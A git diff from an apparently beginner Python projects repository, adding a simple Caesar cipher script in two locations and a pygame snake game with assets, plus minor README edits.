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# Python Projects -[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat&logo=github)](https://github.com/abhisheks008) [![Open Source Love](https://img.shields.io/badge/Open%20Source-%F0%9F%A4%8D-Green)](https://github.com/abhisheks008) +[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat&logo=github)](https://github.com/abhisheks008) [![Open Source Love](https://img.shields.io/badge/Open%20Source-%F0%9F%A4%8D-Green)](https://github.com/abhisheks008) + + + + A Collection of Beginner Python Projects. If you want to learn about python, visit [here.](https://github.com/Python-World/Py-Resources) + ## ⭐ How to get started with open source? You can refer to the following articles on the basics of Git and Github. @@ -137,7 +135,9 @@ Please adhere to this project's `code of conduct`. Thanks a lot for spending your time helping all-round-calculator grow. Thanks a lot! Keep rocking 🍻 -[![Contributors](https://contrib.rocks/image?repo=Arindam200/Python_Projects) + + + diff --git a/README_template.md b/README_template.md index c02a122a4..3f755ea69 100644 --- a/README_template.md +++ b/README_template.md @@ -14,7 +14,7 @@ Steps on how to run the script along with suitable examples. ### Screenshot/GIF showing the sample use of the script -Add a jpeg/png/gif file here. +Add a jpg/jpeg/png/gif file here. ## *Author Name* diff --git a/caser-cipher/encrytion&decryption.py b/caser-cipher/encrytion&decryption.py new file mode 100644 index 000000000..9d89e2801 --- /dev/null +++ b/caser-cipher/encrytion&decryption.py @@ -0,0 +1,79 @@ +alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] + +logo = """ + ,adPPYba, ,adPPYYba, ,adPPYba, ,adPPYba, ,adPPYYba, 8b,dPPYba, +a8" "" "" `Y8 a8P_____88 I8[ "" "" `Y8 88P' "Y8 +8b ,adPPPPP88 8PP""""""" `"Y8ba, ,adPPPPP88 88 +"8a, ,aa 88, ,88 "8b, ,aa aa ]8I 88, ,88 88 + `"Ybbd8"' `"8bbdP"Y8 `"Ybbd8"' `"YbbdP"' `"8bbdP"Y8 88 + 88 88 + "" 88 + 88 + ,adPPYba, 88 8b,dPPYba, 88,dPPYba, ,adPPYba, 8b,dPPYba, +a8" "" 88 88P' "8a 88P' "8a a8P_____88 88P' "Y8 +8b 88 88 d8 88 88 8PP""""""" 88 +"8a, ,aa 88 88b, ,a8" 88 88 "8b, ,aa 88 + `"Ybbd8"' 88 88`YbbdP"' 88 88 `"Ybbd8"' 88 + 88 + 88 +""" + +# The logo is the acttraction! + +def encrypt(plane_text, shift_amount): #this is the funtion for the encryption of the data + + cipher_text = '' + + for letter in plane_text: + + position = alphabet.index(letter) + + new_position = position + shift_amount + + if new_position >=25: # it is the beauty of the code & main logic if we want to encrypt the last alphabet letter it give us INDEX ERROR but this if condtion rectify that issue + + new_position = new_position - 26 + + new_letter = alphabet[new_position] + + cipher_text +=new_letter + + print(f'You New encode : {cipher_text}') + +def decrypt(cipher_text , shift_amount): # this is the function of decryption of the data + + plane_text = '' + + for letter in cipher_text: + + position = alphabet.index(letter) + + new_position = position - shift_amount + + if new_position < 0:#it is the beauty of the code & 2nd main logic if we want to decrypt the starting alphabet letter it give us same INDEX ERROR but this if condtion rectify that iss + + new_position = new_position + 26 + + new_letter = alphabet[new_position] + + plane_text +=new_letter + + print(f'You New encoded Data : {plane_text}') + +print(logo) + +direction = input("Type 'encode' to encrypt, type 'decode' to decrypt:\n").lower()#this converts everything into lowercase letters + +text = input("Type your message:\n").lower() #like direction it also converts everything into lower letters + +shift = int(input("Type the shift number:\n")) + +if direction == 'encode' : + + encrypt(plane_text=text,shift_amount=shift) + +elif direction == 'decode': + + decrypt(cipher_text = text,shift_amount = shift) + + diff --git a/encrytion&decryption./caser-cipher.py b/encrytion&decryption./caser-cipher.py new file mode 100644 index 000000000..481caeeec --- /dev/null +++ b/encrytion&decryption./caser-cipher.py @@ -0,0 +1,79 @@ +alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] + +logo = """ + ,adPPYba, ,adPPYYba, ,adPPYba, ,adPPYba, ,adPPYYba, 8b,dPPYba, +a8" "" "" `Y8 a8P_____88 I8[ "" "" `Y8 88P' "Y8 +8b ,adPPPPP88 8PP""""""" `"Y8ba, ,adPPPPP88 88 +"8a, ,aa 88, ,88 "8b, ,aa aa ]8I 88, ,88 88 + `"Ybbd8"' `"8bbdP"Y8 `"Ybbd8"' `"YbbdP"' `"8bbdP"Y8 88 + 88 88 + "" 88 + 88 + ,adPPYba, 88 8b,dPPYba, 88,dPPYba, ,adPPYba, 8b,dPPYba, +a8" "" 88 88P' "8a 88P' "8a a8P_____88 88P' "Y8 +8b 88 88 d8 88 88 8PP""""""" 88 +"8a, ,aa 88 88b, ,a8" 88 88 "8b, ,aa 88 + `"Ybbd8"' 88 88`YbbdP"' 88 88 `"Ybbd8"' 88 + 88 + 88 +""" + +# The logo is the actraction! + +def encrypt(plane_text, shift_amount): #this is the funtion for the encryption of the data + + cipher_text = '' + + for letter in plane_text: + + position = alphabet.index(letter) + + new_position = position + shift_amount + + if new_position >=25: # it is the beauty of the code & main logic if we want to encrypt the last alphabet letter it give us INDEX ERROR but this if condtion rectify that issue + + new_position = new_position - 26 + + new_letter = alphabet[new_position] + + cipher_text +=new_letter + + print(f'You New encode : {cipher_text}') + +def decrypt(cipher_text , shift_amount): + + plane_text = '' + + for letter in cipher_text: + + position = alphabet.index(letter) + + new_position = position - shift_amount + + if new_position < 0:#it is the beauty of the code & 2nd main logic if we want to decrypt the starting alphabet letter it give us same INDEX ERROR but this if condtion rectify that iss + + new_position = new_position + 26 + + new_letter = alphabet[new_position] + + plane_text +=new_letter + + print(f'You New encoded Data : {plane_text}') + +print(logo) + +direction = input("Type 'encode' to encrypt, type 'decode' to decrypt:\n").lower()#this converts everything into lowercase letters + +text = input("Type your message:\n").lower() #like direction it also converts everything into lower letters + +shift = int(input("Type the shift number:\n")) + +if direction == 'encode' : + + encrypt(plane_text=text,shift_amount=shift) + +elif direction == 'decode': + + decrypt(cipher_text = text,shift_amount = shift) + + diff --git a/gitartwork.svg b/gitartwork.svg index 7733cb074..d791895b6 100644 --- a/gitartwork.svg +++ b/gitartwork.svg @@ -1,4 +1,4 @@ - \ No newline at end of file diff --git a/snake-game/Snake-Game-main/README.md b/snake-game/Snake-Game-main/README.md new file mode 100644 index 000000000..a00cd8fdb --- /dev/null +++ b/snake-game/Snake-Game-main/README.md @@ -0,0 +1,10 @@ +# Snake-Game +It is a snake and apple game made using python and pygame. +
+TEAM MEMBERS +
+1.)Abhiman Gautam +
+2.)Riya Gandhi +
+3.)Zankhana Mehta diff --git a/snake-game/Snake-Game-main/snakegame/gallery/audio/background.mp3 b/snake-game/Snake-Game-main/snakegame/gallery/audio/background.mp3 new file mode 100644 index 000000000..6dbc87752 Binary files /dev/null and b/snake-game/Snake-Game-main/snakegame/gallery/audio/background.mp3 differ diff --git a/snake-game/Snake-Game-main/snakegame/gallery/audio/crash.mp3 b/snake-game/Snake-Game-main/snakegame/gallery/audio/crash.mp3 new file mode 100644 index 000000000..7d5676a28 Binary files /dev/null and b/snake-game/Snake-Game-main/snakegame/gallery/audio/crash.mp3 differ diff --git a/snake-game/Snake-Game-main/snakegame/gallery/audio/ding.mp3 b/snake-game/Snake-Game-main/snakegame/gallery/audio/ding.mp3 new file mode 100644 index 000000000..2de9f0410 Binary files /dev/null and b/snake-game/Snake-Game-main/snakegame/gallery/audio/ding.mp3 differ diff --git a/snake-game/Snake-Game-main/snakegame/gallery/main1.py b/snake-game/Snake-Game-main/snakegame/gallery/main1.py new file mode 100644 index 000000000..2da6f234b --- /dev/null +++ b/snake-game/Snake-Game-main/snakegame/gallery/main1.py @@ -0,0 +1,179 @@ +# importing libraries +import pygame +import time +import random + +snake_speed = 15 + +# Window size +window_x = 720 +window_y = 480 + +# defining colors +black = pygame.Color(0, 0, 0) +white = pygame.Color(255, 255, 255) +red = pygame.Color(255, 0, 0) +green = pygame.Color(0, 255, 0) +blue = pygame.Color(0, 0, 255) + +# Initialising pygame +pygame.init() + +# Initialise game window +pygame.display.set_caption('Snake game') +game_window = pygame.display.set_mode((window_x, window_y)) + +# FPS (frames per second) controller +fps = pygame.time.Clock() + +# defining snake default position +snake_position = [100, 50] + +# defining first 4 blocks of snake body +snake_body = [[100, 50], + [90, 50], + [80, 50], + [70, 50] + ] +# fruit position +fruit_position = [random.randrange(1, (window_x // 10)) * 10, + random.randrange(1, (window_y // 10)) * 10] + +fruit_spawn = True + +# setting default snake direction towards +# right +direction = 'RIGHT' +change_to = direction + +# initial score +score = 0 + + +# displaying Score function +def show_score(choice, color, font, size): + # creating font object score_font + score_font = pygame.font.SysFont(font, size) + + # create the display surface object + # score_surface + score_surface = score_font.render('Score : ' + str(score), True, color) + + # create a rectangular object for the text + # surface object + score_rect = score_surface.get_rect() + + # displaying text + game_window.blit(score_surface, score_rect) + + +# game over function +def game_over(): + # creating font object my_font + my_font = pygame.font.SysFont('times new roman', 50) + + # creating a text surface on which text + # will be drawn + game_over_surface = my_font.render( + 'Your Score is : ' + str(score), True, red) + + # create a rectangular object for the text + # surface object + game_over_rect = game_over_surface.get_rect() + + # setting position of the text + game_over_rect.midtop = (window_x / 2, window_y / 4) + + # blit will draw the text on screen + game_window.blit(game_over_surface, game_over_rect) + pygame.display.flip() + + # after 2 seconds we will quit the program + time.sleep(2) + + # deactivating pygame library + pygame.quit() + + # quit the program + quit() + + +# Main Function +while True: + + # handling key events + for event in pygame.event.get(): + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_UP: + change_to = 'UP' + if event.key == pygame.K_DOWN: + change_to = 'DOWN' + if event.key == pygame.K_LEFT: + change_to = 'LEFT' + if event.key == pygame.K_RIGHT: + change_to = 'RIGHT' + + # If two keys pressed simultaneously + # we don't want snake to move into two + # directions simultaneously + if change_to == 'UP' and direction != 'DOWN': + direction = 'UP' + if change_to == 'DOWN' and direction != 'UP': + direction = 'DOWN' + if change_to == 'LEFT' and direction != 'RIGHT': + direction = 'LEFT' + if change_to == 'RIGHT' and direction != 'LEFT': + direction = 'RIGHT' + + # Moving the snake + if direction == 'UP': + snake_position[1] -= 10 + if direction == 'DOWN': + snake_position[1] += 10 + if direction == 'LEFT': + snake_position[0] -= 10 + if direction == 'RIGHT': + snake_position[0] += 10 + + # Snake body growing mechanism + # if fruits and snakes collide then scores + # will be incremented by 10 + snake_body.insert(0, list(snake_position)) + if snake_position[0] == fruit_position[0] and snake_position[1] == fruit_position[1]: + score += 10 + fruit_spawn = False + else: + snake_body.pop() + + if not fruit_spawn: + fruit_position = [random.randrange(1, (window_x // 10)) * 10, + random.randrange(1, (window_y // 10)) * 10] + + fruit_spawn = True + game_window.fill(black) + + for pos in snake_body: + pygame.draw.rect(game_window, green, + pygame.Rect(pos[0], pos[1], 10, 10)) + pygame.draw.rect(game_window, white, pygame.Rect( + fruit_position[0], fruit_position[1], 10, 10)) + + # Game Over conditions + if snake_position[0] < 0 or snake_position[0] > window_x - 10: + game_over() + if snake_position[1] < 0 or snake_position[1] > window_y - 10: + game_over() + + # Touching the snake body + for block in snake_body[1:]: + if snake_position[0] == block[0] and snake_position[1] == block[1]: + game_over() + + # displaying score countinuously + show_score(1, white, 'times new roman', 20) + + # Refresh game screen + pygame.display.update() + + # Frame Per Second /Refresh Rate + fps.tick(snake_speed) diff --git a/snake-game/Snake-Game-main/snakegame/gallery/sprites/apple.png b/snake-game/Snake-Game-main/snakegame/gallery/sprites/apple.png new file mode 100644 index 000000000..83f57a9bc Binary files /dev/null and b/snake-game/Snake-Game-main/snakegame/gallery/sprites/apple.png differ diff --git a/snake-game/Snake-Game-main/snakegame/gallery/sprites/bgimage.png b/snake-game/Snake-Game-main/snakegame/gallery/sprites/bgimage.png new file mode 100644 index 000000000..72b1642b4 Binary files /dev/null and b/snake-game/Snake-Game-main/snakegame/gallery/sprites/bgimage.png differ diff --git a/snake-game/Snake-Game-main/snakegame/gallery/sprites/dot.png b/snake-game/Snake-Game-main/snakegame/gallery/sprites/dot.png new file mode 100644 index 000000000..2b99dee49 Binary files /dev/null and b/snake-game/Snake-Game-main/snakegame/gallery/sprites/dot.png differ diff --git a/snake-game/Snake-Game-main/snakegame/main.py b/snake-game/Snake-Game-main/snakegame/main.py new file mode 100644 index 000000000..ea46c2c83 --- /dev/null +++ b/snake-game/Snake-Game-main/snakegame/main.py @@ -0,0 +1,192 @@ +import pygame +from pygame.locals import * +import time +import random + +SIZE = 40 +BACKGROUND_COLOR = (110, 110, 5) + +class Apple: + def __init__(self, parent_screen): + self.parent_screen = parent_screen + self.image = pygame.image.load("gallery/sprites/apple.png").convert() + self.x = 120 + self.y = 120 + + def draw(self): + self.parent_screen.blit(self.image, (self.x, self.y)) + pygame.display.flip() + + def move(self): + self.x = random.randint(1,24)*SIZE + self.y = random.randint(1,19)*SIZE + +class Snake: + def __init__(self, parent_screen): + self.parent_screen = parent_screen + self.image = pygame.image.load("gallery/sprites/dot.png").convert() + self.direction = 'down' + + self.length = 1 + self.x = [40] + self.y = [40] + + def move_left(self): + self.direction = 'left' + + def move_right(self): + self.direction = 'right' + + def move_up(self): + self.direction = 'up' + + def move_down(self): + self.direction = 'down' + + def walk(self): + # update body + for i in range(self.length-1,0,-1): + self.x[i] = self.x[i-1] + self.y[i] = self.y[i-1] + + # update head + if self.direction == 'left': + self.x[0] -= SIZE + if self.direction == 'right': + self.x[0] += SIZE + if self.direction == 'up': + self.y[0] -= SIZE + if self.direction == 'down': + self.y[0] += SIZE + + self.draw() + + def draw(self): + for i in range(self.length): + self.parent_screen.blit(self.image, (self.x[i], self.y[i])) + + pygame.display.flip() + + def increase_length(self): + self.length += 1 + self.x.append(-1) + self.y.append(-1) + +class Game: + def __init__(self): + pygame.init() + pygame.display.set_caption("Snake game") + + pygame.mixer.init() + self.play_background_music() + + self.surface = pygame.display.set_mode((1000, 800)) + self.snake = Snake(self.surface) + self.snake.draw() + self.apple = Apple(self.surface) + self.apple.draw() + + def play_background_music(self): + pygame.mixer.music.load('gallery/audio/background.mp3') + pygame.mixer.music.play(-1, 0) + + def play_sound(self, sound_name): + if sound_name == "crash": + sound = pygame.mixer.Sound("gallery/audio/crash.mp3") + elif sound_name == 'ding': + sound = pygame.mixer.Sound("gallery/audio/ding.mp3") + + pygame.mixer.Sound.play(sound) + + def reset(self): + self.snake = Snake(self.surface) + self.apple = Apple(self.surface) + + def is_collision(self, x1, y1, x2, y2): + if x1 >= x2 and x1 < x2 + SIZE: + if y1 >= y2 and y1 < y2 + SIZE: + return True + return False + + def render_background(self): + bg = pygame.image.load("gallery/sprites/bgimage.png") + self.surface.blit(bg, (0,0)) + + def play(self): + self.render_background() + self.snake.walk() + self.apple.draw() + self.display_score() + pygame.display.flip() + + # snake eating apple scenario + if self.is_collision(self.snake.x[0], self.snake.y[0], self.apple.x, self.apple.y): + self.play_sound("ding") + self.snake.increase_length() + self.apple.move() + + # snake colliding with itself + for i in range(3, self.snake.length): + if self.is_collision(self.snake.x[0], self.snake.y[0], self.snake.x[i], self.snake.y[i]): + self.play_sound('crash') + raise "Collision Occurred" + + def display_score(self): + font = pygame.font.SysFont('arial',30) + score = font.render(f"Score: {self.snake.length}",True,(200,200,200)) + self.surface.blit(score,(850,10)) + + def show_game_over(self): + self.render_background() + font = pygame.font.SysFont('arial', 30) + line1 = font.render(f"Game is over! Your score is {self.snake.length}", True, (255, 255, 255)) + self.surface.blit(line1, (200, 300)) + line2 = font.render("To play again press Enter. To exit press Escape!", True, (255, 255, 255)) + self.surface.blit(line2, (200, 350)) + pygame.mixer.music.pause() + pygame.display.flip() + + def run(self): + running = True + pause = False + + while running: + for event in pygame.event.get(): + if event.type == KEYDOWN: + if event.key == K_ESCAPE: + running = False + + if event.key == K_RETURN: + pygame.mixer.music.unpause() + pause = False + + if not pause: + if event.key == K_LEFT: + self.snake.move_left() + + if event.key == K_RIGHT: + self.snake.move_right() + + if event.key == K_UP: + self.snake.move_up() + + if event.key == K_DOWN: + self.snake.move_down() + + elif event.type == QUIT: + running = False + try: + + if not pause: + self.play() + + except Exception as e: + self.show_game_over() + pause = True + self.reset() + + time.sleep(.25) + +if __name__ == '__main__': + game = Game() + game.run() \ No newline at end of file